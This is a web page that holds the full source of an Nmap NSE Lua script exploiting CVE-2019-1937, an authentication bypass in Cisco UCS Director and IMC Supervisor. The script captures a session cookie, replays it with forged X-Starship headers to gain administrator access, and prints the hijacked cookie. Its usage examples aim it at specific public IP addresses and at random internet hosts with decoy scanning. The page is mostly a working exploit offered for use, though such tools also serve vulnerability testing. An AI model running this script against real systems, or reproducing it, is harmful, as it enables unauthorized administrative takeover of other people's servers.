Script Source
Toggle
The full script source is stored with this entry and is hidden by default to keep
the page easier to scan.
---
-- Nmap NSE cisco-cve-2019-1937.nse - Version 1.12
-- Affected versions: Cisco UCS Director 6.6.0 <=> 6.7.0
-- Copy to: /usr/share/nmap/scripts/cisco-cve-2019-1937.nse
-- Update NSE database: sudo nmap --script-updatedb
-- execute: nmap --script-help cisco-cve-2019-1937.nse
-- Port(s) accepted by this nse: 80,443
---
-- SCRIPT BANNER DESCRIPTION --
description = [[
Module Author: r00t-3xp10it {Disclosure = Pedro Ribeiro}
A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) Supervisor,
Cisco UCS Director, and Cisco UCS Director Express for Big Data could allow an unauthenticated, remote attacker
to acquire a valid session token with administrator privileges, bypassing user authentication. The vulnerability
is due to insufficient request header validation during the authentication process. An attacker could exploit this
vulnerability by sending a series of malicious requests to an affected device. An exploit could allow the attacker
to use the acquired session token to gain full administrator access to the affected device.
Some Syntax examples:
nmap --script-help cisco-cve-2019-1937.nse
nmap -sV -T4 -Pn -n -p 80,443 --open --script cisco-cve-2019-1937.nse 212.40.68.127
nmap -sV -Pn -n -p 80,443 --open --script cisco-cve-2019-1937.nse --script-args "verbose=true" 212.40.68.127
nmap -sV -Pn -n -p 80,443 --open --script cisco-cve-2019-1937.nse --script-args "lhost=192.168.1.71,verbose=true" 136.186.1.214
nmap -sS -T4 -Pn -n -p 80,443 --open --script cisco-cve-2019-1937.nse --script-args "force_cookie=true,verbose=true" 136.186.1.214
nmap -sS -Pn -n -p 80,443 --open --script cisco-cve-2019-1937.nse --script-args "User-Agent=Apache-HttpClient/4.0.3" 136.186.1.214
nmap -sS -Pn -n -v -T4 -iR 750 -p 80,443 --open --script cisco-cve-2019-1937.nse --script-args "verbose=true" -D 172.217.168.174
]]
---
-- @usage
-- nmap --script-help cisco-cve-2019-1937.nse
-- nmap -sV -T4 -Pn -n -p 80,443 --open --script cisco-cve-2019-1937.nse 212.40.68.127
-- nmap -sV -Pn -n -p 80,443 --open --script cisco-cve-2019-1937.nse --script-args "verbose=true" 212.40.68.127
-- nmap -sV -Pn -n -p 80,443 --open --script cisco-cve-2019-1937.nse --script-args "lhost=192.168.1.71,verbose=true" 136.186.1.214
-- nmap -sS -T4 -Pn -n -p 80,443 --open --script cisco-cve-2019-1937.nse --script-args "force_cookie=true,verbose=true" 136.186.1.214
-- nmap -sS -Pn -n -p 80,443 --open --script cisco-cve-2019-1937.nse --script-args "User-Agent=Apache-HttpClient/4.0.3" 136.186.1.214
-- nmap -sS -Pn -n -v -T4 -iR 750 -p 80,443 --open --script cisco-cve-2019-1937.nse --script-args "verbose=true" -D 172.217.168.174
-- @output
-- PORT STATE SERVICE
-- 443/tcp open https
-- | cisco-cve-2019-1937:
-- | VULNERABLE:
-- | Cisco UCS Supervisor (Web Interface Auth Bypass)
-- | State: VULNERABLE
-- | IDs: CVE:CVE-2019-1937
-- | Risk factor: Critical CVSSv2: 10.0 CRITICAL (AV:N/AC:L/Au:N/C:C/I:C/A:C)
-- | A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) Supervisor,
-- | Cisco UCS Director, and Cisco UCS Director Express for Big Data could allow an unauthenticated, remote attacker
-- | to acquire a valid session token with administrator privileges, bypassing user authentication. The vulnerability
-- | is due to insufficient request header validation during the authentication process. An attacker could exploit this
-- | vulnerability by sending a series of malicious requests to an affected device. An exploit could allow the attacker
-- | to use the acquired session token to gain full administrator access to the affected device.
-- |
-- | Disclosure date: 2019-Ago-21
-- | Exploit results:
-- | Attack Vector: Remote
-- | Uri: https://192.168.1.71:443/app/ui/ClientServlet?apiName=GetUserInfo
-- | Auth-Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74;
-- |
-- | Referencies:
-- | https://nvd.nist.gov/vuln/detail/CVE-2019-1937
-- | https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby
-- | https://packetstormsecurity.com/files/154239/Cisco-UCS-IMC-Supervisor-Authentication-Bypass-Command-Injection.html
-- |_
-- @args verbose => Display verbose Error(s) outputs - Default: false
-- @args uri => the Full URL to send in GET requests - Default: /app/ui/ClientServlet?apiName=GetUserInfo
-- @args User-Agent => User-Agent to send in requests - Default: Android; Mobile; Firefox 45.0
-- @args force_cookie => bypass cookie name checks - Default: false
-- @args lhost => Manually set your internal ip addr - Default: nil (auto-seach)
-- Manual Input: nmap -sV -p 80 --open --script cisco-cve-2019-1937.nse --script-args "lhost=192.168.1.71" <target-ip-addr>
---
author = "r00t-3xp10it"
copyright = "Pedro Ribeiro"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"safe", "vuln"}
-- DEPENDENCIES (lua nse libs) --
local http = require "http"
local table = require "table"
local vulns = require "vulns"
local string = require "string"
local stdnse = require "stdnse" --> nse args usage
local shortport = require "shortport"
-- THE RULE SECTION --
-- Scan only the selected ports/proto/service_names in 'open state'
portrule = shortport.port_or_service({80, 443}, "http, https", "tcp", "open")
-- THE ACTION SECTION --
action = function(host, port)
local decoy_agent = stdnse.get_script_args(SCRIPT_NAME..".User-Agent") or "Mozilla/5.0 (Android; Mobile; rv:40.0) Gecko/40.0 Firefox/45.0"
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/app/ui/ClientServlet?apiName=GetUserInfo"
local force_cookie = stdnse.get_script_args(SCRIPT_NAME..".force_cookie") or "false"
local verbose = stdnse.get_script_args(SCRIPT_NAME..".verbose") or "false"
local ip_addr = stdnse.get_script_args(SCRIPT_NAME..".lhost") or nil
local http_err,cookie_err,parse_cookie = "nil","nil","nil"
local uri_stats,cookie_stats,vuln_test = nil,nil,nil
if ( ip_addr == nil ) then
-- Capture (Local) distro flavor { Windows | Linux }
local socket = io.popen("ver 2>&1") --> supress io.popen() stdout error msg (2>&1)
flavor = socket:read("*a"):gsub("\n", "") --> Strip 'new line' from OS flavor
socket.close()
if ( flavor == nil or flavor == "" or string.find(flavor, "not found")) then
local socket = io.popen("uname -s")
flavor = socket:read("*a"):gsub("\n", "") --> Strip 'new line' from OS flavor
socket.close()
end
if (string.find(flavor, "[Ll]inux")) then
-- Executing BASH command(s) and store results
-- Storing network interface in use { wlan0 | eth0 }
local socket = io.popen("netstat -r|grep 'default'|awk {'print $8'}")
local int_addr = socket:read("*a"):gsub("\n", "") --> Strip 'new line' from interface
socket:close()
-- Storing Internal IP address to be used in header['host'] and header['referer']
local socket = io.popen("ifconfig "..int_addr.."|grep -m 1 'inet'|awk {'print $2'}")
ip_addr = socket:read("*a"):gsub("\n", ""):gsub(" ", "") --> Strip 'new line'+'empty spaces'
socket:close()
elseif (string.find(flavor, "[Ww]indows")) then
-- Executing CMD command and store results
-- Storing Internal IP address to be used in header['host'] and header['referer']
local socket = io.popen("ipconfig|FINDSTR IPv4")
ip_addr = socket:read("*a"):match(":(.*)"):gsub(" ", "") --> match everything after :
socket.close()
else
-- This nse script its written to execute ONLY in (Local) Windows or Linux Operative Systems.
print("| cisco-cve-2019-1937:\n| State: not compatible flavor: "..flavor.."\n| Remark: This nse only exec under Windows or Linux flavors\n|_")
return nil
end
end
-- Make sure we have the 'ip_addr' local variable set by now. { auto | manual }
-- string.match(ip_addr, '%a+') will try to match any chars/words in ip_addr variable
-- and automatic aborts nse execution { good response = ip addr must not contain letters }
if (string.match(ip_addr, '%a+') or ip_addr == nil or ip_addr == "") then
print("| cisco-cve-2019-1937:\n| State: nse cant retrieve internal ip addr\n| Manual Input: --script-args lhost=192.168.1.71,verbose=true\n|_")
return nil --> abort further tests.
end
-- Identify servers that answer 200 to invalid HTTP requests
-- and exit as these would invalidate the next nse tests
local status_404, result_404, _ = http.identify_404(host, port)
if ( status_404 and result_404 == 200 ) then
print("| cisco-cve-2019-1937:\n| Uri: http://"..host.ip..":"..port.number.." (false positive)\n| Reason: All URIs tested return status [200] OK\n|_")
return nil
end
-- Send [1º] GET request - to capture redirection = header['Location']
-- redirection local variable its then parsed to extract the redirection url,
-- and rewrites uri local variable with the captured url { use in [2º] GET request }
if ( not(ip_addr == nil or ip_addr == "") ) then
local _send = {header={}} --> Build TCP request 'header'
_send['header']['Host'] = ip_addr
_send['header']['User-Agent'] = decoy_agent
_send['header']['X-Requested-With'] = "XMLHttpRequest"
_send['header']['Accept-Language'] = "en-GB,en;q=0.8,sv"
if ( port.number == 80 ) then _send['header']['Referer'] = "http://"..ip_addr.."/" end
if ( port.number == 443 ) then _send['header']['Referer'] = "https://"..ip_addr.."/" end
-- Send [1º] GET request and read response
local response = http.get(host, port, uri, _send, { no_cache = true, no_cache_body = true })
if ( not(response or response.status) ) then
uri_stats = "uri not found"
elseif (response and response.status == 404) then
uri_stats = "uri not found"
http_err = response.status or "404"
elseif (response and response.status == 302 or response.status == 303) then
-- if [302|303] then Grab redirection url to use on next GET request
local redirection = response.header and response.header['location'] or ""
if ( not(redirection == nil or redirection == "") ) then
-- Extract only the url from header['Location'] { /app/ui/login.jsp }
-- This function strips from capture: { Location: Http[s]://192.168.1.71 }
uri = redirection:match("[Hh]ttp[s]?://(.*)"):gsub(ip_addr, "");uri_stats = "true"
-- Make sure we have been redirected to the rigth url: { /app/ui/login.jsp }
if ( not(uri:match("/login")) ) then uri_stats = "Wrong header redirection"; http_err = response.status or "404" end
else
-- None redirection header['Location'] found
uri_stats = "none header redirection"
http_err = response.status or "nil"
end
else
-- Wrong status code received
uri_stats = "uri not found"
http_err = response.status or "404"
end
end
-- Send [2º] GET request - Follow the redirection uri to capture Set-Cookie { auth cookie }
-- we are now sending a GET request using the redirection url captured in last request { rewrite uri }
-- Set-Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC745; Path=/app; Secure; HttpOnly
if ( uri_stats == "true" ) then
local _hijack = {header={}} --> Build TCP request 'header'
_hijack['header']['Host'] = ip_addr
_hijack['header']['User-Agent'] = decoy_agent
_hijack['header']['X-Requested-With'] = "XMLHttpRequest"
_hijack['header']['Accept-Language'] = "en-GB,en;q=0.8,sv"
if ( port.number == 80 ) then _hijack['header']['Referer'] = "http://"..ip_addr.."/" end
if ( port.number == 443 ) then _hijack['header']['Referer'] = "https://"..ip_addr.."/" end
-- Send [2º] GET request and read response
local res = http.get(host, port, uri, _hijack, { no_cache = true, no_cache_body = true })
if ( not(res or res.status) ) then
cookie_stats = "none response from server"
elseif (res and res.status == 200) then
-- if [200] then Grab Set-Cookie value to use on next GET request.
local set_cookie = res.header and res.header['set-cookie'] or ""
if ( not(set_cookie == nil or set_cookie == "") ) then
cookie_stats = "true"
-- Extract only the cookie value from header['Set-Cookie'] { strip extra chars }
-- Sometimes ['set-cookie'] field does not contain { Secure; | HttpOnly } strings.
-- This function will strip (delete) ALL those extra strings from captured Cookie.
parse_cookie = set_cookie:match(":(.*)") --> match everything after [ : ] char
if ( not(parse_cookie:match(";")) ) then
local extr_semi = parse_cookie:gsub(" ", "") --> strip empty spaces from cookie value
parse_cookie = extr_semi..";" --> add ; to the end of cookie value
else
local extr_char = parse_cookie:match(";(.*)") --> match everything after [ ; ] char
parse_cookie = parse_cookie:gsub(extr_char, ""):gsub(" ", "")
end
-- Make sure that we have captured the rigth cookie name { JSESSIONID= }
-- Users can still bypass this cookie name check by calling script @args "force_cookie=true"
if ( not(parse_cookie:match("^JSESSIONID[=$]")) and force_cookie == "false" ) then
cookie_err = res.status or "nil"; cookie_stats = "wrong cookie name"; parse_cookie = "nil"
end
else
-- None header['Set-Cookie'] found
cookie_stats = "none cookie"
cookie_err = res.status or "nil"
end
else
-- Wrong status code received
cookie_stats = "Wrong status code"
cookie_err = res.status or "404"
end
end
-- Build Nmap vulnerable {table}
local vuln_table = {
title = "Cisco UCS Supervisor (Web Interface Auth Bypass)",
state = vulns.STATE.NOT_VULN,
IDS = {CVE = 'CVE-2019-1937'},
risk_factor = "Critical",
scores = {
CVSSv2 = "10.0 CRITICAL (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
},
description = [[
A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) Supervisor,
Cisco UCS Director, and Cisco UCS Director Express for Big Data could allow an unauthenticated, remote attacker
to acquire a valid session token with administrator privileges, bypassing user authentication. The vulnerability
is due to insufficient request header validation during the authentication process. An attacker could exploit this
vulnerability by sending a series of malicious requests to an affected device. An exploit could allow the attacker
to use the acquired session token to gain full administrator access to the affected device.
]],
references = {
'https://nvd.nist.gov/vuln/detail/CVE-2019-1937',
'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby',
'https://packetstormsecurity.com/files/154239/Cisco-UCS-IMC-Supervisor-Authentication-Bypass-Command-Injection.html',
},
dates = {
disclosure = {year = '2019', month = 'Ago', day = '21'},
},
exploit_results = {}, --> Display auth cookie and creds
}
-- Build vulnerable stdout { vuln_table }
if (uri_stats == "true" and cookie_stats == "true") then
table.insert(vuln_table.exploit_results, string.format("Attack Vector: Remote"))
if (port.number == 443) then table.insert(vuln_table.exploit_results, string.format("Uri: https://"..host.ip..":"..port.number..uri)) end
if (port.number == 80) then table.insert(vuln_table.exploit_results, string.format("Uri: http://"..host.ip..":"..port.number..uri)) end
table.insert(vuln_table.exploit_results, string.format("Auth-Cookie: "..parse_cookie.."\n"))
end
-- Send [3º] GET request - admin session cookie Authentication
if (uri_stats == "true" and cookie_stats == "true") then
local _exploit = {header={}} --> Build TCP request 'header'
_exploit['header']['Host'] = ip_addr
_exploit['header']['Cookie'] = parse_cookie
_exploit['header']['User-Agent'] = decoy_agent
_exploit['header']['X-Requested-With'] = "XMLHttpRequest"
_exploit['header']['X-Starship-UserSession-Key'] = "ssa" --> can be a random string
_exploit['header']['X-Starship-Request-Key'] = "redteam" --> can be a random string
_exploit['header']['Accept-Language'] = "en-GB,en;q=0.8,sv"
if ( port.number == 80 ) then _exploit['header']['Referer'] = "http://"..ip_addr.."/" end
if ( port.number == 443 ) then _exploit['header']['Referer'] = "https://"..ip_addr.."/" end
-- Send [3º] GET request and read response
uri = "/app/ui/ClientServlet?apiName=GetUserInfo"
local vuln_test = http.get(host, port, uri, _exploit, { no_cache = true, no_cache_body = true })
if (vuln_test and vuln_test.status == 200) then
vuln_table.state = vulns.STATE.VULN
local report = vulns.Report:new(SCRIPT_NAME, host, port)
return report:make_output(vuln_table)
elseif (vuln_test and vuln_test.status ~= 200) then
-- Delete the last char from [Referer] to build display
local parse_ref = _exploit['header']['Referer']:sub(1, -2)
return "\n Cisco UCS (Web Interface Auth Bypass)\n State: POSSIBLE VULNERABLE to CVE-2019-1937 [ ? ]\n Remark: _exploit['header']['Cookie'] authentication Failed.\n Port: "..port.number.." Uri: "..parse_ref..":"..port.number..uri.."\n Auth-Cookie: "..parse_cookie.."\n\n"
end
-- Error messages { IF: verbose=true }
elseif (uri_stats == "uri not found" and verbose == "true") then
return "\n Cisco UCS (Web Interface Auth Bypass)\n State: NOT VULNERABLE to CVE-2019-1937\n Reason: ["..http_err.."] uri not found in server\n\n"
elseif (uri_stats == "none header redirection" and verbose == "true") then
return "\n Cisco UCS (Web Interface Auth Bypass)\n State: NOT VULNERABLE to CVE-2019-1937\n Reason: ["..http_err.."] None redirection header found\n\n"
elseif (uri_stats == "Wrong header redirection" and verbose == "true") then
return "\n Cisco UCS (Web Interface Auth Bypass)\n State: NOT VULNERABLE to CVE-2019-1937\n Reason: ["..http_err.."] Wrong url redirection\n\n"
elseif (cookie_stats == "none response from server" and verbose == "true") then
return "\n Cisco UCS (Web Interface Auth Bypass)\n State: NOT VULNERABLE to CVE-2019-1937\n Reason: ["..cookie_err.."] None response from server\n\n"
elseif (cookie_stats == "wrong cookie name" and verbose == "true") then
return "\n Cisco UCS (Web Interface Auth Bypass)\n State: NOT VULNERABLE to CVE-2019-1937 [ ? ]\n Reason: ["..parse_cookie.."] wrong cookie name\n Remark: bypass cookie name checks: --script-args force_cookie=true\n\n"
elseif (cookie_stats == "Wrong status code" and verbose == "true") then
return "\n Cisco UCS (Web Interface Auth Bypass)\n State: NOT VULNERABLE to CVE-2019-1937\n Reason: ["..cookie_err.."] Wrong status code received\n\n"
elseif (cookie_stats == "none cookie" and verbose == "true") then
return "\n Cisco UCS (Web Interface Auth Bypass)\n State: NOT VULNERABLE to CVE-2019-1937\n Reason: ["..cookie_err.."] None authentication cookie found\n\n"
end
end